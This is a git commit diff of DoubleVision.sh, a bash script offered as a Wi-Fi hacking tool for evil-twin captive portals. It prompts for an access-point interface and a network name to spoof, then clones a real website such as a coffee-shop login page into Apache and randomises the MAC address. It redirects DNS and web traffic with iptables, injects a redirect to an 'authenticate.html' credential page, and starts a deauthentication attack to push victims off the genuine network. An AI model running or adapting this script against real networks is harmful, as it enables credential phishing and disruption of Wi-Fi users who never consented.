Jelajahi Sumber

Update DoubleVision.sh

assume-breach 3 tahun lalu
induk
melakukan
d585b8fdb6
1 mengubah file dengan 62 tambahan dan 22 penghapusan
  1. 62 22
      DoubleVision/DoubleVision.sh

+ 62 - 22
DoubleVision/DoubleVision.sh

@@ -1,4 +1,14 @@
 #!/bin/bash
 #!/bin/bash
+
+# Color variables
+red='\033[0;31m'
+green='\033[0;32m'
+yellow='\033[0;33m'
+blue='\033[0;34m'
+magenta='\033[0;35m'
+cyan='\033[0;36m'
+# Clear the color after that
+clear='\033[0m'
 cat << "EOF"
 cat << "EOF"
   __ _ ___ ___ _   _ _ __ ___   ___      | |__  _ __ ___  __ _  ___| |__  
   __ _ ___ ___ _   _ _ __ ___   ___      | |__  _ __ ___  __ _  ___| |__  
  / _` / __/ __| | | | '_ ` _ \ / _ \_____| '_ \| '__/ _ \/ _` |/ __| '_ \ 
  / _` / __/ __| | | | '_ ` _ \ / _ \_____| '_ \| '__/ _ \/ _` |/ __| '_ \ 
@@ -7,59 +17,85 @@ cat << "EOF"
 
 
                             **Double Vision**
                             **Double Vision**
 
 
-             A Wifi Hacking Tool For Evil Twin Captive Portals
+            A Wifi Hacking Tool For Evil Twin Captive Portals
 
 
                            Use At Your Own Risk
                            Use At Your Own Risk
-
-
- 
 EOF
 EOF
-echo "Which interface do you want to use as your AP NIC? Example: wlan1"
+echo ""
+echo -e ${green}"Which interface do you want to use as your AP NIC? Example: wlan1"${clear}
 echo ""
 echo ""
 read AP
 read AP
 echo""
 echo""
-echo "Using $AP as your AP interface"
+echo -e ${yellow}"Using $AP as your AP interface"${clear}
+echo ""
+sleep 1
+echo -e ${green}"Which interface do you want to use to deauth?"${clear}
+echo ""
+read DEAUTH
+echo ""
+echo -e ${yellow}"Bringing down $DEAUTH"${clear}
 echo ""
 echo ""
 sleep 1
 sleep 1
-echo "What is the Wifi network you want to spoof? Example: Starbucks Wifi"
+echo -e ${green}"What is the Wifi network you want to spoof? Example: Starbucks Wifi"${clear}
 echo ""
 echo ""
 read SSID
 read SSID
 echo ""
 echo ""
-echo "Using $SSID as your spoofed network"
+echo ${yellow}"Using $SSID as your spoofed network"${clear}
 sleep 1
 sleep 1
 echo ""
 echo ""
-echo "Enter Website URL To Clone. Example: https://starbucks.com"
+echo -e ${green}"Enter Website URL To Clone. Example: https://starbucks.com"${clear}
 echo ""
 echo ""
 read URL
 read URL
 echo ""
 echo ""
-echo "Cloning $URL"
+echo -e ${yellow}"Cloning $URL"${clear}
+echo ""
 systemctl stop dnsmasq
 systemctl stop dnsmasq
-sleep 1
 cp Resources/hostapd.conf .
 cp Resources/hostapd.conf .
-sleep 1
 sed -i "s/AP/${AP}/g" hostapd.conf
 sed -i "s/AP/${AP}/g" hostapd.conf
 sed -i "s/SSID/${SSID}/g" hostapd.conf
 sed -i "s/SSID/${SSID}/g" hostapd.conf
-sleep 1
 rm /etc/hostapd/hostapd.conf
 rm /etc/hostapd/hostapd.conf
 cp hostapd.conf /etc/hostapd/hostapd.conf
 cp hostapd.conf /etc/hostapd/hostapd.conf
+/usr/bin/chromium-browser --no-sandbox 2>/dev/null
 runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
 runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
+echo ""
+sleep 2
+echo -e ${yellow}"$URL Cloned Successfully"${clear}
+echo ""
 sleep 1
 sleep 1
+echo -e ${green}"Moving Your Index.html File Into Apache"${clear}
+echo ""
 mv /home/pi/index.html /var/www/html/index.html
 mv /home/pi/index.html /var/www/html/index.html
+echo -e ${green}"Starting Apache"${clear}
 service apache2 start
 service apache2 start
 sleep 1
 sleep 1
-ifconfig wlan2 down
-macchanger -A wlan2
-sleep 1 
-ifconfig wlan2 up
+echo ""
+echo -e ${green}"Changing $AP MAC Address"${clear}
+echo ""
+ifconfig $AP down
+macchanger -A $AP
+sleep 1
+ifconfig $AP up
 sleep 1
 sleep 1
-systemctl start dnsmasq
+#echo -e ${green}"Starting DNS"${clear}
+#systemctl start dnsmasq
+echo ""
+echo -e ${green}"Configuring $AP Into An Access Point"${clear}
+echo ""
 hostapd -B /etc/hostapd/hostapd.conf
 hostapd -B /etc/hostapd/hostapd.conf
 sleep 2
 sleep 2
+echo ""
+echo -e ${green}"Bringing Up The Bridge"${clear}
+echo ""
 ifconfig br0 up
 ifconfig br0 up
 sleep 2
 sleep 2
 ifconfig br0 10.1.1.1 netmask 255.255.255.0
 ifconfig br0 10.1.1.1 netmask 255.255.255.0
 sysctl net.ipv4.ip_forward=1
 sysctl net.ipv4.ip_forward=1
+echo ""
+echo -e ${green}"Copying Redirect Into Cloned Page"${clear}
+echo ""
 echo "<meta http-equiv="refresh" content=2;URL='http://10.1.1.1/authenticate.html'>">> /var/www/html/index.html
 echo "<meta http-equiv="refresh" content=2;URL='http://10.1.1.1/authenticate.html'>">> /var/www/html/index.html
+echo -e ${green}"Setting IPTables"${clear}
+echo ""
 iptables --flush
 iptables --flush
 iptables -t nat --flush
 iptables -t nat --flush
 iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
 iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
@@ -67,12 +103,16 @@ iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-desti
 iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
 iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
 iptables -t nat -A POSTROUTING -j MASQUERADE
 iptables -t nat -A POSTROUTING -j MASQUERADE
 sleep 2
 sleep 2
+echo ""
+echo -e ${green}"Starting DNS"${clear}
 service dnsmasq start
 service dnsmasq start
 sleep 4
 sleep 4
-echo "AP Should Be Up. Time To Deauth"
+echo -e ${red}"Access Point Should Be Up. Time To Deauth"${clear}
 echo ""
 echo ""
 sleep 2
 sleep 2
-echo "Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"
+echo -e ${red}"Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"${clear}
 echo ""
 echo ""
-tmux new-session -s deauth 'cd PwrDeauther &&  bash PwrDeauther.sh'
-
+sleep 2
+echo ""
+read -p "Press enter once you understand how to disconnect from the TMUX session"
+tmux new-session -s deauth 'cd PwrDeauther && sudo bash PwrDeauther.sh'